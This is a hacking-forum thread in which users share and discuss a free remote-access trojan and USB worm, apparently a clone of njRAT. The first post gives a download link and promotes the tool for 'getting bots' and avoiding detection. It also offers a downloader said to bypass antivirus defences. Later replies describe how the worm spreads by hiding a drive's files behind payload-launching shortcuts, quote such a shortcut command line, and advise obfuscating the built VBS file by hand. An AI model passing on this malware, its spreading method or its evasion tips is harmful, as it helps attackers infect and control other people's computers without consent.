Forum:Hack Forums

Thread: Vengeance Worm || Best Free RAT/Worm || USB Spread || Tiny file Seize

Autist - October 7, 2016, 7:03 pm
| was browsing on an Arabic forum (for those wondering yes i do speak Arabic)
As i was browsing the Arabic forum | came across a Newly Developed RAT called R-WO0rm

Controler.

Here are some screen shots of the RAT

Panel No Connection
Spoiler (Click to View)

The Builder
Spoiler (Click to View)

Download Link: http://up.dev-point.com/download287595.html

Malware Analysis:
https://malwr.com/analysis/ZDE1MWVYMMTJiNzg2NDg5MmMJIMNTkKINWM1MzAzMDIzNTO/

Yes files are secure | have tested them, tested every way i could.

Creators of the RAT: https://www.dev-point.com/vb/threads/649284/ (if you cant read the arabic
translate it)

Please don't be a lecher, thanks and enjoy!

Alison Wonderland - October 7, 2016, 7:09 pm
NJRat looks like it got a language port. woo

Autist - October 7, 2016, 7:14 pm

(Oct 7, 2016 07:09 PM)Alison Wonderland Wrote: [CITE] NJRat looks like it got a language port. woo
XD nah its written from scratch way better.

I made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it
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has potential. let me know what you guys think!

Alison Wonderland - October 7, 2016, 7:17 pm
(Oct 7, 2016 07:14 PM)Bart Allen Wrote: [CITE] XD nah its written from scratch way better.

| made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it
has potential. let me know what you guys think!

XD nah its NJrat.

please leave

Autist - October 7, 2016, 7:24 pm

(Oct 7, 2016 07:17 PM)Alison Wonderland Wrote: [CITE] XD nah its NJrat.
please leave

XD okay, thank you for your comment XD

yotoprules - October 8, 2016, 3:01 am
Looks like njwOrm or similar.

imghostin - October 8, 2016, 3:04 am
| do speak Arabic. This doesnt seem really legit, It looks like njRAT

Autist - October 8, 2016, 5:35 am

(Oct 8, 2016 03:04 AM)imghostin Wrote: [CITE] | do speak Arabic. This doesnt seem really legit, It
looks like NjRAT

It's might but it's actually pretty good for getting bots on and executing your im4 or Il so your file
dosent get reported

bzr? - October 8, 2016, 6:12 am
Vengeance vs njRAT
Spoiler (Click to View)

| get what people are saying, but they are for sure different.
OP [ will look at this soon. Thanks for the share.

VirtualMon3y - October 8, 2016, 11:45 am
Hey Op | have seen this on dev-point myself and tested it a little. | would have shared it myself back
in the past so good on you....

Tell me, how much use is a usb worm these days though? Are they very effective at all as | wouldn't
expect so?

Tee Plow - October 8, 2016, 11:57 am
i know the coder of this worm and he is HQ coder

Autist - October 8, 2016, 11:59 am
(Oct 8, 2016 11:45 AM)UKninja Wrote: [CITE] Hey Op | have seen this on dev-point myself and
tested it a little. | would have shared it myself back in the past so good on you....
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Tell me, how much use is a usb worm these days though? Are they very effective at all as | wouldn't
expect so?
You would be surprised, USB spreading is still effective as many many people still use USB

Mitlar - October 8, 2016, 12:21 pm

(Oct 8, 2016 11:59 AM)Bart Allen Wrote: [CITE] You would be surprised, USB spreading is still
effective as many many people still use USB

No Shit Sherlock.

nazist - December 23, 2016, 10:09 pm
it based on njworm same source code moded
just reflect it and you well see ...

JoshuTee - December 23, 2016, 10:24 pm
This looks exactly like njwOrm.

Shortcut USB spreading isn't going to work in many cases because the av gets suspicious when it
finds Ink files in the style of "CMD /c start doc.txt&start ufdruhfr.Wsf"

1337 - December 24, 2016, 7:57 am
this RAT Look like Njrat ..

TheMockingBird - January 3, 2017, 12:41 pm
What exactly is this "USB spreader" ?

| don't get it. Does it work like a teensy usb or something ?

JoshuTee - January 3, 2017, 1:57 pm
(Jan 3, 2017 01:41 PM)TheMockingBird Wrote: [CITE] What exactly is this "USB spreader" ?

| don't get it. Does it work like a teensy usb or something ?

It copies the file to be spreaded onto the USB drive, hides it, hides all files on the USB and creates
shortcuts that have the same name and icon as them on the USB, and change the target to first run
the file to be spread and then the actual file.

TheMockingBird - January 3, 2017, 2:03 pm

(Jan 3, 2017 02:57 PM)JoshuTee Wrote: [CITE] It copies the file to be spreaded onto the USB drive,
hides it, hides all files on the USB and creates shortcuts that have the same name and icon as
them on the USB, and change the target to first run the file to be spread and then the actual file.
Oh ok, that's what i thought. It uses shortcuts...

Nice looking RAT. Reminds me a lot of njRat. Very dark style...

05317832892 - January 4, 2017, 2:44 am
That is quite nice. Hope it's stable, gonna give it a go.

JoshuTee - January 4, 2017, 2:50 am
The built file is a VBS script, so you'll have to manually obfuscate it

©Ratatouille™ - March 29, 2017, 12:15 am
(Dec 24, 2016 08:57 AM)lasski Wrote: [CITE] this RAT Look like Njrat ..
Is NjRat copy pasted
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urbandesi - March 29, 2017, 4:07 am
| tested it man so fucking clean & FREE MIND RAT ;) thanks alot

ONURIS - March 29, 2017, 6:29 am
it's the same coder who coded njrat this is very old worm , Houdini is better than this , also this is not
the worms section

BlackPanth3R - April 11, 2017, 5:23 am
(Oct 7, 2016 07:14 PM)Bart Allen Wrote: [CITE] | made a Down loader that bypasses proactive
defenses, idk if i should sell it or release it free as it has potential. let me know what you guys think!

May | have this downloaded please? Does is executes at once also?

3azraiell - April 11, 2017, 5:57 am
Houdini worm is more better dude :)

Casey - January 8, 2020, 11:14 pm
Not workefad but thanls man its nice program :)

Celiform - January 10, 2020, 8:55 pm
is this still active???1?21?221?212?21 2 2?2 ?

Mafulen - January 18, 2020, 6:08 pm
It looks like njwOrm.. :D

Aekrasla - January 22, 2020, 11:03 pm
Nyan Worm, the old school edition when he was still developing njRAT Lime Edition 0.8 :p it's an
exact replica, going off the unchanged spelling mistakes in the exact same spots LOL

Kayfox - January 23, 2020, 5:37 am

(Jan 23, 2020 12:03 AM)Aekrasla Wrote: [CITE] Nyan Worm, the old school edition when he was
still developing njRAT Lime Edition 0.8 :p it's an exact replica, going off the unchanged spelling
mistakes in the exact same spots LOL

skids gotta skid though
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